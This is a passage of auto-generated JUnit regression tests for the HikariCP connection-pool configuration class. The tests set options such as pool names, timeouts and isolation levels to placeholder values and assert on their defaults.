System.out.format("%n%s%n", "RegressionTest38.test19146");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
int int3 = hikariConfig1.getAcquireIncrement();
int int4 = hikariConfig1.getAcquireIncrement();
java.lang.String str5 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setCatalog("HikariPool-204");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
hikariConfig1.transactionIsolation = (byte) 100;
hikariConfig1.catalog = "HikariPool-403";
java.lang.String str13 = hikariConfig1.getConnectionInitSql();
hikariConfig1.acquireRetries = (byte) 10;
javax.sql.DataSource dataSource16 = hikariConfig1.dataSource;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 0 + "'", int3 == 0);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 0 + "'", int4 == 0);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNull(dataSource16);
}
@Test
public void test19147() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19147");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
int int7 = hikariConfig1.maxPoolSize;
long long8 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setMaxLifetime((long) (byte) -1);
long long13 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 60 + "'", int7 == 60);
org.junit.Assert.assertTrue("'" + long8 + "' != '" + 0L + "'", long8 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
}
@Test
public void test19148() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19148");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.connectionInitSql = "HikariPool-222";
java.lang.String str14 = hikariConfig1.getCatalog();
long long15 = hikariConfig1.getAcquireRetryDelay();
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + long15 + "' != '" + 0L + "'", long15 == 0L);
}
@Test
public void test19149() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19149");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
long long6 = hikariConfig1.connectionTimeout;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer7 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer7;
hikariConfig1.setAutoCommit(false);
hikariConfig1.transactionIsolationName = "HikariPool-24015";
java.lang.String str13 = hikariConfig1.poolName;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertEquals("'" + str13 + "' != '" + "hi!" + "'", str13, "hi!");
}
@Test
public void test19150() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19150");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig1.getPoolName();
hikariConfig1.isRegisterMbeans = true;
int int14 = hikariConfig1.minPoolSize;
java.lang.String str15 = hikariConfig1.connectionInitSql;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement(60);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-50811" + "'", str11, "HikariPool-50811");
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 10 + "'", int14 == 10);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19151() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19151");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
java.lang.String str6 = hikariConfig1.getConnectionInitSql();
hikariConfig1.maxLifetime = 0L;
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.maxLifetime = 0L;
long long12 = hikariConfig1.getLeakDetectionThreshold();
long long13 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertEquals("'" + str6 + "' != '" + "hi!" + "'", str6, "hi!");
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 100L + "'", long12 == 100L);
org.junit.Assert.assertTrue("'" + long13 + "' != '" + 100L + "'", long13 == 100L);
}
@Test
public void test19152() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19152");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
int int9 = hikariConfig1.maxPoolSize;
java.lang.String str10 = hikariConfig1.getConnectionTestQuery();
long long11 = hikariConfig1.getIdleTimeout();
hikariConfig1.setMaxLifetime((long) '#');
hikariConfig1.minPoolSize = '4';
boolean boolean16 = hikariConfig1.isRegisterMbeans();
boolean boolean17 = hikariConfig1.isJdbc4ConnectionTest();
javax.sql.DataSource dataSource18 = null;
hikariConfig1.dataSource = dataSource18;
long long20 = hikariConfig1.maxLifetime;
java.util.Properties properties21 = null;
hikariConfig1.dataSourceProperties = properties21;
int int23 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setPoolName("HikariPool-24823");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 35L + "'", long20 == 35L);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
}
@Test
public void test19153() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19153");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
java.lang.String str8 = hikariConfig1.connectionCustomizerClassName;
long long9 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str10 = hikariConfig1.getDataSourceClassName();
hikariConfig1.dataSourceClassName = "HikariPool-17687";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(iConnectionCustomizer13);
}
@Test
public void test19154() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19154");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setAutoCommit(false);
int int5 = hikariConfig1.getMinimumPoolSize();
boolean boolean6 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isJdbc4connectionTest = false;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int5 + "' != '" + 10 + "'", int5 == 10);
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + false + "'", boolean6 == false);
}
@Test
public void test19155() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19155");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
java.lang.String str11 = hikariConfig1.connectionInitSql;
boolean boolean12 = hikariConfig1.isAutoCommit;
int int13 = hikariConfig1.getAcquireIncrement();
int int14 = hikariConfig1.getMaximumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 0 + "'", int13 == 0);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 60 + "'", int14 == 60);
}
@Test
public void test19156() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19156");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setRegisterMbeans(false);
boolean boolean9 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setCatalog("HikariPool-472");
int int12 = hikariConfig1.getMinimumPoolSize();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay(0L);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 10 + "'", int12 == 10);
}
@Test
public void test19157() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19157");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.getPoolName();
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isRegisterMbeans;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
boolean boolean12 = hikariConfig1.isRegisterMbeans();
java.lang.String str13 = hikariConfig1.getConnectionInitSql();
boolean boolean14 = hikariConfig1.isRegisterMbeans;
java.lang.String str15 = hikariConfig1.connectionInitSql;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "hi!" + "'", str8, "hi!");
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + false + "'", boolean14 == false);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19158() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19158");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
hikariConfig1.dataSourceClassName = "hi!";
boolean boolean13 = hikariConfig1.isInitializationFailFast();
long long14 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.connectionTimeout = (byte) 0;
int int17 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setMinimumPoolSize(52);
hikariConfig1.isAutoCommit = false;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 0L + "'", long14 == 0L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
}
@Test
public void test19159() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19159");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
long long10 = hikariConfig1.connectionTimeout;
java.lang.String str11 = hikariConfig1.catalog;
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
boolean boolean14 = hikariConfig13.isAutoCommit;
hikariConfig13.poolName = "hi!";
java.lang.String str17 = hikariConfig13.dataSourceClassName;
java.lang.String str18 = hikariConfig13.dataSourceClassName;
hikariConfig13.setJdbc4ConnectionTest(false);
java.lang.String str21 = hikariConfig13.transactionIsolationName;
hikariConfig13.setMaximumPoolSize((int) (short) 0);
java.lang.String str24 = hikariConfig13.getCatalog();
long long25 = hikariConfig13.leakDetectionThreshold;
hikariConfig13.setUseInstrumentation(false);
java.util.Properties properties28 = hikariConfig13.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties28);
int int30 = hikariConfig1.getAcquireIncrement();
java.lang.String str31 = hikariConfig1.getConnectionCustomizerClassName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertTrue("'" + long25 + "' != '" + 0L + "'", long25 == 0L);
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + 0 + "'", int30 == 0);
org.junit.Assert.assertNull(str31);
}
@Test
public void test19160() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19160");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
hikariConfig1.setRegisterMbeans(true);
long long11 = hikariConfig1.leakDetectionThreshold;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig();
hikariConfig13.setDataSourceClassName("");
hikariConfig13.validate();
long long17 = hikariConfig13.getLeakDetectionThreshold();
hikariConfig13.setIdleTimeout((long) '4');
java.lang.String str20 = hikariConfig13.connectionCustomizerClassName;
hikariConfig13.idleTimeout = (short) 0;
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) (short) 0);
hikariConfig1.setIdleTimeout((long) (byte) 10);
int int26 = hikariConfig1.transactionIsolation;
hikariConfig1.connectionTestQuery = "HikariPool-831";
java.lang.String str29 = hikariConfig1.connectionInitSql;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay(52L);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertEquals("'" + str29 + "' != '" + "" + "'", str29, "");
}
@Test
public void test19161() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19161");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
long long3 = hikariConfig1.maxLifetime;
java.lang.String str4 = hikariConfig1.getConnectionInitSql();
java.lang.String str5 = hikariConfig1.connectionCustomizerClassName;
java.lang.String str6 = hikariConfig1.poolName;
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long3 + "' != '" + 35L + "'", long3 == 35L);
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertEquals("'" + str6 + "' != '" + "HikariPool-50825" + "'", str6, "HikariPool-50825");
}
@Test
public void test19162() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19162");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
hikariConfig1.setMaxLifetime(60L);
boolean boolean29 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.setDataSourceClassName("HikariPool-410");
hikariConfig1.setPoolName("HikariPool-39998");
hikariConfig1.setMinimumPoolSize((int) (short) 1);
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
}
@Test
public void test19163() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19163");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.dataSourceClassName = "";
boolean boolean13 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.connectionTestQuery = "HikariPool-470";
hikariConfig1.setLeakDetectionThreshold((long) (byte) 100);
java.lang.String str20 = hikariConfig1.getPoolName();
int int21 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.setMaxLifetime((long) 60);
hikariConfig1.setConnectionTimeout((long) 0);
java.lang.String str26 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setDataSourceClassName("HikariPool-14244");
int int29 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
// flaky: org.junit.Assert.assertEquals("'" + str20 + "' != '" + "HikariPool-50829" + "'", str20, "HikariPool-50829");
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 10 + "'", int21 == 10);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + 0 + "'", int29 == 0);
}
@Test
public void test19164() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19164");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getIdleTimeout();
int int8 = hikariConfig1.maxPoolSize;
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
long long10 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str11 = hikariConfig1.transactionIsolationName;
long long12 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 60L + "'", long7 == 60L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 10L + "'", long12 == 10L);
}
@Test
public void test19165() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19165");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
int int11 = hikariConfig1.getAcquireRetries();
hikariConfig1.setConnectionTestQuery("HikariPool-57");
hikariConfig1.setInitializationFailFast(false);
hikariConfig1.connectionTestQuery = "HikariPool-169";
hikariConfig1.connectionTimeout = 3L;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 3 + "'", int11 == 3);
}
@Test
public void test19166() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19166");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setIdleTimeout(52L);
java.lang.String str12 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.connectionTimeout = 87;
java.util.Properties properties15 = hikariConfig1.getDataSourceProperties();
java.lang.String str16 = hikariConfig1.getDataSourceClassName();
int int17 = hikariConfig1.maxPoolSize;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNotNull(properties15);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
}
@Test
public void test19167() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19167");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
java.lang.String str6 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setConnectionTestQuery("hi!");
java.lang.String str9 = hikariConfig1.getCatalog();
int int10 = hikariConfig1.acquireRetries;
hikariConfig1.setAutoCommit(true);
javax.sql.DataSource dataSource13 = null;
hikariConfig1.setDataSource(dataSource13);
javax.sql.DataSource dataSource15 = hikariConfig1.getDataSource();
int int16 = hikariConfig1.getMaximumPoolSize();
boolean boolean17 = hikariConfig1.isAutoCommit;
long long18 = hikariConfig1.getConnectionTimeout();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
